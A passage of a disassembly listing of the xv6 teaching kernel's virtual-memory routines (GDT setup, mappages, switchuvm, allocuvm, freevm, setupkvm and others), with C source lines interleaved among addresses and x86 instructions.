c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106501: ba ff ff ff ff mov $0xffffffff,%edx lgdt(c->gdt, sizeof(c->gdt)); 80106506: 83 c0 70 add $0x70,%eax c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 80106509: 66 89 48 0a mov %cx,0xa(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 8010650d: 31 c9 xor %ecx,%ecx 8010650f: 66 89 50 10 mov %dx,0x10(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106513: ba ff ff ff ff mov $0xffffffff,%edx c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106518: 66 89 48 12 mov %cx,0x12(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 8010651c: 31 c9 xor %ecx,%ecx 8010651e: 66 89 50 18 mov %dx,0x18(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 80106522: ba ff ff ff ff mov $0xffffffff,%edx c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106527: 66 89 48 1a mov %cx,0x1a(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 8010652b: 31 c9 xor %ecx,%ecx c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 8010652d: c6 40 0d 9a movb $0x9a,0xd(%eax) 80106531: c6 40 0e cf movb $0xcf,0xe(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106535: c6 40 15 92 movb $0x92,0x15(%eax) 80106539: c6 40 16 cf movb $0xcf,0x16(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 8010653d: c6 40 1d fa movb $0xfa,0x1d(%eax) 80106541: c6 40 1e cf movb $0xcf,0x1e(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 80106545: c6 40 25 f2 movb $0xf2,0x25(%eax) 80106549: c6 40 26 cf movb $0xcf,0x26(%eax) 8010654d: 66 89 50 20 mov %dx,0x20(%eax) pd[0] = size-1; 80106551: ba 2f 00 00 00 mov $0x2f,%edx c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 80106556: c6 40 0c 00 movb $0x0,0xc(%eax) 8010655a: c6 40 0f 00 movb $0x0,0xf(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 8010655e: c6 40 14 00 movb $0x0,0x14(%eax) 80106562: c6 40 17 00 movb $0x0,0x17(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106566: c6 40 1c 00 movb $0x0,0x1c(%eax) 8010656a: c6 40 1f 00 movb $0x0,0x1f(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 8010656e: 66 89 48 22 mov %cx,0x22(%eax) 80106572: c6 40 24 00 movb $0x0,0x24(%eax) 80106576: c6 40 27 00 movb $0x0,0x27(%eax) 8010657a: 66 89 55 f2 mov %dx,-0xe(%ebp) pd[1] = (uint)p; 8010657e: 66 89 45 f4 mov %ax,-0xc(%ebp) pd[2] = (uint)p >> 16; 80106582: c1 e8 10 shr $0x10,%eax 80106585: 66 89 45 f6 mov %ax,-0xa(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 80106589: 8d 45 f2 lea -0xe(%ebp),%eax 8010658c: 0f 01 10 lgdtl (%eax) } 8010658f: c9 leave 80106590: c3 ret 80106591: eb 0d jmp 801065a0 <mappages> 80106593: 90 nop 80106594: 90 nop 80106595: 90 nop 80106596: 90 nop 80106597: 90 nop 80106598: 90 nop 80106599: 90 nop 8010659a: 90 nop 8010659b: 90 nop 8010659c: 90 nop 8010659d: 90 nop 8010659e: 90 nop 8010659f: 90 nop 801065a0 <mappages>: { 801065a0: 55 push %ebp 801065a1: 89 e5 mov %esp,%ebp 801065a3: 57 push %edi 801065a4: 56 push %esi 801065a5: 53 push %ebx 801065a6: 83 ec 1c sub $0x1c,%esp 801065a9: 8b 45 0c mov 0xc(%ebp),%eax last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 801065ac: 8b 55 10 mov 0x10(%ebp),%edx { 801065af: 8b 7d 14 mov 0x14(%ebp),%edi *pte = pa | perm | PTE_P; 801065b2: 83 4d 18 01 orl $0x1,0x18(%ebp) a = (char*)PGROUNDDOWN((uint)va); 801065b6: 89 c3 mov %eax,%ebx 801065b8: 81 e3 00 f0 ff ff and $0xfffff000,%ebx last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 801065be: 8d 44 10 ff lea -0x1(%eax,%edx,1),%eax 801065c2: 29 df sub %ebx,%edi 801065c4: 89 45 e4 mov %eax,-0x1c(%ebp) 801065c7: 81 65 e4 00 f0 ff ff andl $0xfffff000,-0x1c(%ebp) 801065ce: eb 15 jmp 801065e5 <mappages+0x45> if(*pte & PTE_P) 801065d0: f6 00 01 testb $0x1,(%eax) 801065d3: 75 3d jne 80106612 <mappages+0x72> *pte = pa | perm | PTE_P; 801065d5: 0b 75 18 or 0x18(%ebp),%esi if(a == last) 801065d8: 3b 5d e4 cmp -0x1c(%ebp),%ebx *pte = pa | perm | PTE_P; 801065db: 89 30 mov %esi,(%eax) if(a == last) 801065dd: 74 29 je 80106608 <mappages+0x68> a += PGSIZE; 801065df: 81 c3 00 10 00 00 add $0x1000,%ebx if((pte = walkpgdir(pgdir, a, 1)) == 0) 801065e5: 8b 45 08 mov 0x8(%ebp),%eax 801065e8: b9 01 00 00 00 mov $0x1,%ecx 801065ed: 89 da mov %ebx,%edx 801065ef: 8d 34 3b lea (%ebx,%edi,1),%esi 801065f2: e8 b9 fd ff ff call 801063b0 <walkpgdir> 801065f7: 85 c0 test %eax,%eax 801065f9: 75 d5 jne 801065d0 <mappages+0x30> } 801065fb: 83 c4 1c add $0x1c,%esp return -1; 801065fe: b8 ff ff ff ff mov $0xffffffff,%eax } 80106603: 5b pop %ebx 80106604: 5e pop %esi 80106605: 5f pop %edi 80106606: 5d pop %ebp 80106607: c3 ret 80106608: 83 c4 1c add $0x1c,%esp return 0; 8010660b: 31 c0 xor %eax,%eax } 8010660d: 5b pop %ebx 8010660e: 5e pop %esi 8010660f: 5f pop %edi 80106610: 5d pop %ebp 80106611: c3 ret panic("remap"); 80106612: c7 04 24 dc 77 10 80 movl $0x801077dc,(%esp) 80106619: e8 42 9d ff ff call 80100360 <panic> 8010661e: 66 90 xchg %ax,%ax 80106620 <switchkvm>: lcr3(V2P(kpgdir)); // switch to the kernel page table 80106620: a1 a4 55 11 80 mov 0x801155a4,%eax { 80106625: 55 push %ebp 80106626: 89 e5 mov %esp,%ebp lcr3(V2P(kpgdir)); // switch to the kernel page table 80106628: 05 00 00 00 80 add $0x80000000,%eax } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 8010662d: 0f 22 d8 mov %eax,%cr3 } 80106630: 5d pop %ebp 80106631: c3 ret 80106632: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106639: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106640 <switchuvm>: { 80106640: 55 push %ebp 80106641: 89 e5 mov %esp,%ebp 80106643: 57 push %edi 80106644: 56 push %esi 80106645: 53 push %ebx 80106646: 83 ec 1c sub $0x1c,%esp 80106649: 8b 75 08 mov 0x8(%ebp),%esi if(p == 0) 8010664c: 85 f6 test %esi,%esi 8010664e: 0f 84 cd 00 00 00 je 80106721 <switchuvm+0xe1> if(p->kstack == 0) 80106654: 8b 46 08 mov 0x8(%esi),%eax 80106657: 85 c0 test %eax,%eax 80106659: 0f 84 da 00 00 00 je 80106739 <switchuvm+0xf9> if(p->pgdir == 0) 8010665f: 8b 7e 04 mov 0x4(%esi),%edi 80106662: 85 ff test %edi,%edi 80106664: 0f 84 c3 00 00 00 je 8010672d <switchuvm+0xed> pushcli(); 8010666a: e8 81 da ff ff call 801040f0 <pushcli> mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 8010666f: e8 7c cf ff ff call 801035f0 <mycpu> 80106674: 89 c3 mov %eax,%ebx 80106676: e8 75 cf ff ff call 801035f0 <mycpu> 8010667b: 89 c7 mov %eax,%edi 8010667d: e8 6e cf ff ff call 801035f0 <mycpu> 80106682: 83 c7 08 add $0x8,%edi 80106685: 89 45 e4 mov %eax,-0x1c(%ebp) 80106688: e8 63 cf ff ff call 801035f0 <mycpu> 8010668d: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106690: ba 67 00 00 00 mov $0x67,%edx 80106695: 66 89 93 98 00 00 00 mov %dx,0x98(%ebx) 8010669c: 66 89 bb 9a 00 00 00 mov %di,0x9a(%ebx) 801066a3: c6 83 9d 00 00 00 99 movb $0x99,0x9d(%ebx) 801066aa: 83 c1 08 add $0x8,%ecx 801066ad: c1 e9 10 shr $0x10,%ecx 801066b0: 83 c0 08 add $0x8,%eax 801066b3: c1 e8 18 shr $0x18,%eax 801066b6: 88 8b 9c 00 00 00 mov %cl,0x9c(%ebx) 801066bc: c6 83 9e 00 00 00 40 movb $0x40,0x9e(%ebx) 801066c3: 88 83 9f 00 00 00 mov %al,0x9f(%ebx) mycpu()->ts.iomb = (ushort) 0xFFFF; 801066c9: bb ff ff ff ff mov $0xffffffff,%ebx mycpu()->gdt[SEG_TSS].s = 0; 801066ce: e8 1d cf ff ff call 801035f0 <mycpu> 801066d3: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax) mycpu()->ts.ss0 = SEG_KDATA << 3; 801066da: e8 11 cf ff ff call 801035f0 <mycpu> 801066df: b9 10 00 00 00 mov $0x10,%ecx 801066e4: 66 89 48 10 mov %cx,0x10(%eax) mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; 801066e8: e8 03 cf ff ff call 801035f0 <mycpu> 801066ed: 8b 56 08 mov 0x8(%esi),%edx 801066f0: 8d 8a 00 10 00 00 lea 0x1000(%edx),%ecx 801066f6: 89 48 0c mov %ecx,0xc(%eax) mycpu()->ts.iomb = (ushort) 0xFFFF; 801066f9: e8 f2 ce ff ff call 801035f0 <mycpu> 801066fe: 66 89 58 6e mov %bx,0x6e(%eax) asm volatile("ltr %0" : : "r" (sel)); 80106702: b8 28 00 00 00 mov $0x28,%eax 80106707: 0f 00 d8 ltr %ax lcr3(V2P(p->pgdir)); // switch to process's address space 8010670a: 8b 46 04 mov 0x4(%esi),%eax 8010670d: 05 00 00 00 80 add $0x80000000,%eax asm volatile("movl %0,%%cr3" : : "r" (val)); 80106712: 0f 22 d8 mov %eax,%cr3 } 80106715: 83 c4 1c add $0x1c,%esp 80106718: 5b pop %ebx 80106719: 5e pop %esi 8010671a: 5f pop %edi 8010671b: 5d pop %ebp popcli(); 8010671c: e9 8f da ff ff jmp 801041b0 <popcli> panic("switchuvm: no process"); 80106721: c7 04 24 e2 77 10 80 movl $0x801077e2,(%esp) 80106728: e8 33 9c ff ff call 80100360 <panic> panic("switchuvm: no pgdir"); 8010672d: c7 04 24 0d 78 10 80 movl $0x8010780d,(%esp) 80106734: e8 27 9c ff ff call 80100360 <panic> panic("switchuvm: no kstack"); 80106739: c7 04 24 f8 77 10 80 movl $0x801077f8,(%esp) 80106740: e8 1b 9c ff ff call 80100360 <panic> 80106745: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106749: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106750 <inituvm>: { 80106750: 55 push %ebp 80106751: 89 e5 mov %esp,%ebp 80106753: 57 push %edi 80106754: 56 push %esi 80106755: 53 push %ebx 80106756: 83 ec 2c sub $0x2c,%esp 80106759: 8b 75 10 mov 0x10(%ebp),%esi 8010675c: 8b 55 08 mov 0x8(%ebp),%edx 8010675f: 8b 7d 0c mov 0xc(%ebp),%edi if(sz >= PGSIZE) 80106762: 81 fe ff 0f 00 00 cmp $0xfff,%esi 80106768: 77 64 ja 801067ce <inituvm+0x7e> 8010676a: 89 55 e4 mov %edx,-0x1c(%ebp) mem = kalloc(); 8010676d: e8 1e bd ff ff call 80102490 <kalloc> memset(mem, 0, PGSIZE); 80106772: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106779: 00 8010677a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106781: 00 80106782: 89 04 24 mov %eax,(%esp) mem = kalloc(); 80106785: 89 c3 mov %eax,%ebx memset(mem, 0, PGSIZE); 80106787: e8 e4 da ff ff call 80104270 <memset> mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); 8010678c: 8b 55 e4 mov -0x1c(%ebp),%edx 8010678f: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106795: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp) 8010679c: 00 8010679d: 89 44 24 0c mov %eax,0xc(%esp) 801067a1: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 801067a8: 00 801067a9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801067b0: 00 801067b1: 89 14 24 mov %edx,(%esp) 801067b4: e8 e7 fd ff ff call 801065a0 <mappages> memmove(mem, init, sz); 801067b9: 89 75 10 mov %esi,0x10(%ebp) 801067bc: 89 7d 0c mov %edi,0xc(%ebp) 801067bf: 89 5d 08 mov %ebx,0x8(%ebp) } 801067c2: 83 c4 2c add $0x2c,%esp 801067c5: 5b pop %ebx 801067c6: 5e pop %esi 801067c7: 5f pop %edi 801067c8: 5d pop %ebp memmove(mem, init, sz); 801067c9: e9 42 db ff ff jmp 80104310 <memmove> panic("inituvm: more than a page"); 801067ce: c7 04 24 21 78 10 80 movl $0x80107821,(%esp) 801067d5: e8 86 9b ff ff call 80100360 <panic> 801067da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801067e0 <loaduvm>: { 801067e0: 55 push %ebp 801067e1: 89 e5 mov %esp,%ebp 801067e3: 57 push %edi 801067e4: 56 push %esi 801067e5: 53 push %ebx 801067e6: 83 ec 1c sub $0x1c,%esp if((uint) addr % PGSIZE != 0) 801067e9: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp) 801067f0: 0f 85 98 00 00 00 jne 8010688e <loaduvm+0xae> for(i = 0; i < sz; i += PGSIZE){ 801067f6: 8b 75 18 mov 0x18(%ebp),%esi 801067f9: 31 db xor %ebx,%ebx 801067fb: 85 f6 test %esi,%esi 801067fd: 75 1a jne 80106819 <loaduvm+0x39> 801067ff: eb 77 jmp 80106878 <loaduvm+0x98> 80106801: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106808: 81 c3 00 10 00 00 add $0x1000,%ebx 8010680e: 81 ee 00 10 00 00 sub $0x1000,%esi 80106814: 39 5d 18 cmp %ebx,0x18(%ebp) 80106817: 76 5f jbe 80106878 <loaduvm+0x98> 80106819: 8b 55 0c mov 0xc(%ebp),%edx if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 8010681c: 31 c9 xor %ecx,%ecx 8010681e: 8b 45 08 mov 0x8(%ebp),%eax 80106821: 01 da add %ebx,%edx 80106823: e8 88 fb ff ff call 801063b0 <walkpgdir> 80106828: 85 c0 test %eax,%eax 8010682a: 74 56 je 80106882 <loaduvm+0xa2> pa = PTE_ADDR(*pte); 8010682c: 8b 00 mov (%eax),%eax n = PGSIZE; 8010682e: bf 00 10 00 00 mov $0x1000,%edi 80106833: 8b 4d 14 mov 0x14(%ebp),%ecx pa = PTE_ADDR(*pte); 80106836: 25 00 f0 ff ff and $0xfffff000,%eax n = PGSIZE; 8010683b: 81 fe 00 10 00 00 cmp $0x1000,%esi 80106841: 0f 42 fe cmovb %esi,%edi if(readi(ip, P2V(pa), offset+i, n) != n) 80106844: 05 00 00 00 80 add $0x80000000,%eax 80106849: 89 44 24 04 mov %eax,0x4(%esp) 8010684d: 8b 45 10 mov 0x10(%ebp),%eax 80106850: 01 d9 add %ebx,%ecx 80106852: 89 7c 24 0c mov %edi,0xc(%esp) 80106856: 89 4c 24 08 mov %ecx,0x8(%esp) 8010685a: 89 04 24 mov %eax,(%esp) 8010685d: e8 ee b0 ff ff call 80101950 <readi> 80106862: 39 f8 cmp %edi,%eax 80106864: 74 a2 je 80106808 <loaduvm+0x28> } 80106866: 83 c4 1c add $0x1c,%esp return -1; 80106869: b8 ff ff ff ff mov $0xffffffff,%eax } 8010686e: 5b pop %ebx 8010686f: 5e pop %esi 80106870: 5f pop %edi 80106871: 5d pop %ebp 80106872: c3 ret 80106873: 90 nop 80106874: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106878: 83 c4 1c add $0x1c,%esp return 0; 8010687b: 31 c0 xor %eax,%eax } 8010687d: 5b pop %ebx 8010687e: 5e pop %esi 8010687f: 5f pop %edi 80106880: 5d pop %ebp 80106881: c3 ret panic("loaduvm: address should exist"); 80106882: c7 04 24 3b 78 10 80 movl $0x8010783b,(%esp) 80106889: e8 d2 9a ff ff call 80100360 <panic> panic("loaduvm: addr must be page aligned"); 8010688e: c7 04 24 dc 78 10 80 movl $0x801078dc,(%esp) 80106895: e8 c6 9a ff ff call 80100360 <panic> 8010689a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801068a0 <allocuvm>: { 801068a0: 55 push %ebp 801068a1: 89 e5 mov %esp,%ebp 801068a3: 57 push %edi 801068a4: 56 push %esi 801068a5: 53 push %ebx 801068a6: 83 ec 2c sub $0x2c,%esp 801068a9: 8b 7d 10 mov 0x10(%ebp),%edi if(newsz >= KERNBASE) 801068ac: 85 ff test %edi,%edi 801068ae: 0f 88 8f 00 00 00 js 80106943 <allocuvm+0xa3> if(newsz < oldsz) 801068b4: 3b 7d 0c cmp 0xc(%ebp),%edi return oldsz; 801068b7: 8b 45 0c mov 0xc(%ebp),%eax if(newsz < oldsz) 801068ba: 0f 82 85 00 00 00 jb 80106945 <allocuvm+0xa5> a = PGROUNDUP(oldsz); 801068c0: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 801068c6: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < newsz; a += PGSIZE){ 801068cc: 39 df cmp %ebx,%edi 801068ce: 77 57 ja 80106927 <allocuvm+0x87> 801068d0: eb 7e jmp 80106950 <allocuvm+0xb0> 801068d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi memset(mem, 0, PGSIZE); 801068d8: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 801068df: 00 801068e0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801068e7: 00 801068e8: 89 04 24 mov %eax,(%esp) 801068eb: e8 80 d9 ff ff call 80104270 <memset> if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ 801068f0: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 801068f6: 89 44 24 0c mov %eax,0xc(%esp) 801068fa: 8b 45 08 mov 0x8(%ebp),%eax 801068fd: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp) 80106904: 00 80106905: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 8010690c: 00 8010690d: 89 5c 24 04 mov %ebx,0x4(%esp) 80106911: 89 04 24 mov %eax,(%esp) 80106914: e8 87 fc ff ff call 801065a0 <mappages> 80106919: 85 c0 test %eax,%eax 8010691b: 78 43 js 80106960 <allocuvm+0xc0> for(; a < newsz; a += PGSIZE){ 8010691d: 81 c3 00 10 00 00 add $0x1000,%ebx 80106923: 39 df cmp %ebx,%edi 80106925: 76 29 jbe 80106950 <allocuvm+0xb0> mem = kalloc(); 80106927: e8 64 bb ff ff call 80102490 <kalloc> if(mem == 0){ 8010692c: 85 c0 test %eax,%eax mem = kalloc(); 8010692e: 89 c6 mov %eax,%esi if(mem == 0){ 80106930: 75 a6 jne 801068d8 <allocuvm+0x38> cprintf("allocuvm out of memory\n"); 80106932: c7 04 24 59 78 10 80 movl $0x80107859,(%esp) 80106939: e8 12 9d ff ff call 80100650 <cprintf> if(newsz >= oldsz) 8010693e: 3b 7d 0c cmp 0xc(%ebp),%edi 80106941: 77 47 ja 8010698a <allocuvm+0xea> return 0; 80106943: 31 c0 xor %eax,%eax } 80106945: 83 c4 2c add $0x2c,%esp 80106948: 5b pop %ebx 80106949: 5e pop %esi 8010694a: 5f pop %edi 8010694b: 5d pop %ebp 8010694c: c3 ret 8010694d: 8d 76 00 lea 0x0(%esi),%esi 80106950: 83 c4 2c add $0x2c,%esp 80106953: 89 f8 mov %edi,%eax 80106955: 5b pop %ebx 80106956: 5e pop %esi 80106957: 5f pop %edi 80106958: 5d pop %ebp 80106959: c3 ret 8010695a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cprintf("allocuvm out of memory (2)\n"); 80106960: c7 04 24 71 78 10 80 movl $0x80107871,(%esp) 80106967: e8 e4 9c ff ff call 80100650 <cprintf> if(newsz >= oldsz) 8010696c: 3b 7d 0c cmp 0xc(%ebp),%edi 8010696f: 76 0d jbe 8010697e <allocuvm+0xde> 80106971: 8b 4d 0c mov 0xc(%ebp),%ecx 80106974: 89 fa mov %edi,%edx 80106976: 8b 45 08 mov 0x8(%ebp),%eax 80106979: e8 c2 fa ff ff call 80106440 <deallocuvm.part.0> kfree(mem); 8010697e: 89 34 24 mov %esi,(%esp) 80106981: e8 5a b9 ff ff call 801022e0 <kfree> return 0; 80106986: 31 c0 xor %eax,%eax 80106988: eb bb jmp 80106945 <allocuvm+0xa5> 8010698a: 8b 4d 0c mov 0xc(%ebp),%ecx 8010698d: 89 fa mov %edi,%edx 8010698f: 8b 45 08 mov 0x8(%ebp),%eax 80106992: e8 a9 fa ff ff call 80106440 <deallocuvm.part.0> return 0; 80106997: 31 c0 xor %eax,%eax 80106999: eb aa jmp 80106945 <allocuvm+0xa5> 8010699b: 90 nop 8010699c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801069a0 <deallocuvm>: { 801069a0: 55 push %ebp 801069a1: 89 e5 mov %esp,%ebp 801069a3: 8b 55 0c mov 0xc(%ebp),%edx 801069a6: 8b 4d 10 mov 0x10(%ebp),%ecx 801069a9: 8b 45 08 mov 0x8(%ebp),%eax if(newsz >= oldsz) 801069ac: 39 d1 cmp %edx,%ecx 801069ae: 73 08 jae 801069b8 <deallocuvm+0x18> } 801069b0: 5d pop %ebp 801069b1: e9 8a fa ff ff jmp 80106440 <deallocuvm.part.0> 801069b6: 66 90 xchg %ax,%ax 801069b8: 89 d0 mov %edx,%eax 801069ba: 5d pop %ebp 801069bb: c3 ret 801069bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801069c0 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 801069c0: 55 push %ebp 801069c1: 89 e5 mov %esp,%ebp 801069c3: 56 push %esi 801069c4: 53 push %ebx 801069c5: 83 ec 10 sub $0x10,%esp 801069c8: 8b 75 08 mov 0x8(%ebp),%esi uint i; if(pgdir == 0) 801069cb: 85 f6 test %esi,%esi 801069cd: 74 59 je 80106a28 <freevm+0x68> 801069cf: 31 c9 xor %ecx,%ecx 801069d1: ba 00 00 00 80 mov $0x80000000,%edx 801069d6: 89 f0 mov %esi,%eax panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 801069d8: 31 db xor %ebx,%ebx 801069da: e8 61 fa ff ff call 80106440 <deallocuvm.part.0> 801069df: eb 12 jmp 801069f3 <freevm+0x33> 801069e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801069e8: 83 c3 01 add $0x1,%ebx 801069eb: 81 fb 00 04 00 00 cmp $0x400,%ebx 801069f1: 74 27 je 80106a1a <freevm+0x5a> if(pgdir[i] & PTE_P){ 801069f3: 8b 14 9e mov (%esi,%ebx,4),%edx 801069f6: f6 c2 01 test $0x1,%dl 801069f9: 74 ed je 801069e8 <freevm+0x28> char * v = P2V(PTE_ADDR(pgdir[i])); 801069fb: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(i = 0; i < NPDENTRIES; i++){ 80106a01: 83 c3 01 add $0x1,%ebx char * v = P2V(PTE_ADDR(pgdir[i])); 80106a04: 81 c2 00 00 00 80 add $0x80000000,%edx kfree(v); 80106a0a: 89 14 24 mov %edx,(%esp) 80106a0d: e8 ce b8 ff ff call 801022e0 <kfree> for(i = 0; i < NPDENTRIES; i++){ 80106a12: 81 fb 00 04 00 00 cmp $0x400,%ebx 80106a18: 75 d9 jne 801069f3 <freevm+0x33> } } kfree((char*)pgdir); 80106a1a: 89 75 08 mov %esi,0x8(%ebp) } 80106a1d: 83 c4 10 add $0x10,%esp 80106a20: 5b pop %ebx 80106a21: 5e pop %esi 80106a22: 5d pop %ebp kfree((char*)pgdir); 80106a23: e9 b8 b8 ff ff jmp 801022e0 <kfree> panic("freevm: no pgdir"); 80106a28: c7 04 24 8d 78 10 80 movl $0x8010788d,(%esp) 80106a2f: e8 2c 99 ff ff call 80100360 <panic> 80106a34: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106a3a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106a40 <setupkvm>: { 80106a40: 55 push %ebp 80106a41: 89 e5 mov %esp,%ebp 80106a43: 56 push %esi 80106a44: 53 push %ebx 80106a45: 83 ec 20 sub $0x20,%esp if((pgdir = (pde_t*)kalloc()) == 0) 80106a48: e8 43 ba ff ff call 80102490 <kalloc> 80106a4d: 85 c0 test %eax,%eax 80106a4f: 89 c6 mov %eax,%esi 80106a51: 74 75 je 80106ac8 <setupkvm+0x88> memset(pgdir, 0, PGSIZE); 80106a53: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106a5a: 00 for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106a5b: bb 20 a4 10 80 mov $0x8010a420,%ebx memset(pgdir, 0, PGSIZE); 80106a60: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106a67: 00 80106a68: 89 04 24 mov %eax,(%esp) 80106a6b: e8 00 d8 ff ff call 80104270 <memset> if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80106a70: 8b 53 0c mov 0xc(%ebx),%edx 80106a73: 8b 43 04 mov 0x4(%ebx),%eax 80106a76: 89 34 24 mov %esi,(%esp) 80106a79: 89 54 24 10 mov %edx,0x10(%esp) 80106a7d: 8b 53 08 mov 0x8(%ebx),%edx 80106a80: 89 44 24 0c mov %eax,0xc(%esp) 80106a84: 29 c2 sub %eax,%edx 80106a86: 8b 03 mov (%ebx),%eax 80106a88: 89 54 24 08 mov %edx,0x8(%esp) 80106a8c: 89 44 24 04 mov %eax,0x4(%esp) 80106a90: e8 0b fb ff ff call 801065a0 <mappages> 80106a95: 85 c0 test %eax,%eax 80106a97: 78 17 js 80106ab0 <setupkvm+0x70> for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106a99: 83 c3 10 add $0x10,%ebx 80106a9c: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx 80106aa2: 72 cc jb 80106a70 <setupkvm+0x30> 80106aa4: 89 f0 mov %esi,%eax } 80106aa6: 83 c4 20 add $0x20,%esp 80106aa9: 5b pop %ebx 80106aaa: 5e pop %esi 80106aab: 5d pop %ebp 80106aac: c3 ret 80106aad: 8d 76 00 lea 0x0(%esi),%esi freevm(pgdir); 80106ab0: 89 34 24 mov %esi,(%esp) 80106ab3: e8 08 ff ff ff call 801069c0 <freevm> } 80106ab8: 83 c4 20 add $0x20,%esp return 0; 80106abb: 31 c0 xor %eax,%eax } 80106abd: 5b pop %ebx 80106abe: 5e pop %esi 80106abf: 5d pop %ebp 80106ac0: c3 ret 80106ac1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; 80106ac8: 31 c0 xor %eax,%eax 80106aca: eb da jmp 80106aa6 <setupkvm+0x66> 80106acc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106ad0 <kvmalloc>: { 80106ad0: 55 push %ebp 80106ad1: 89 e5 mov %esp,%ebp 80106ad3: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 80106ad6: e8 65 ff ff ff call 80106a40 <setupkvm> 80106adb: a3 a4 55 11 80 mov %eax,0x801155a4 lcr3(V2P(kpgdir)); // switch to the kernel page table 80106ae0: 05 00 00 00 80 add $0x80000000,%eax 80106ae5: 0f 22 d8 mov %eax,%cr3 } 80106ae8: c9 leave 80106ae9: c3 ret 80106aea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106af0 <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80106af0: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106af1: 31 c9 xor %ecx,%ecx { 80106af3: 89 e5 mov %esp,%ebp 80106af5: 83 ec 18 sub $0x18,%esp pte = walkpgdir(pgdir, uva, 0); 80106af8: 8b 55 0c mov 0xc(%ebp),%edx 80106afb: 8b 45 08 mov 0x8(%ebp),%eax 80106afe: e8 ad f8 ff ff call 801063b0 <walkpgdir> if(pte == 0) 80106b03: 85 c0 test %eax,%eax 80106b05: 74 05 je 80106b0c <clearpteu+0x1c> panic("clearpteu"); *pte &= ~PTE_U; 80106b07: 83 20 fb andl $0xfffffffb,(%eax) } 80106b0a: c9 leave 80106b0b: c3 ret panic("clearpteu"); 80106b0c: c7 04 24 9e 78 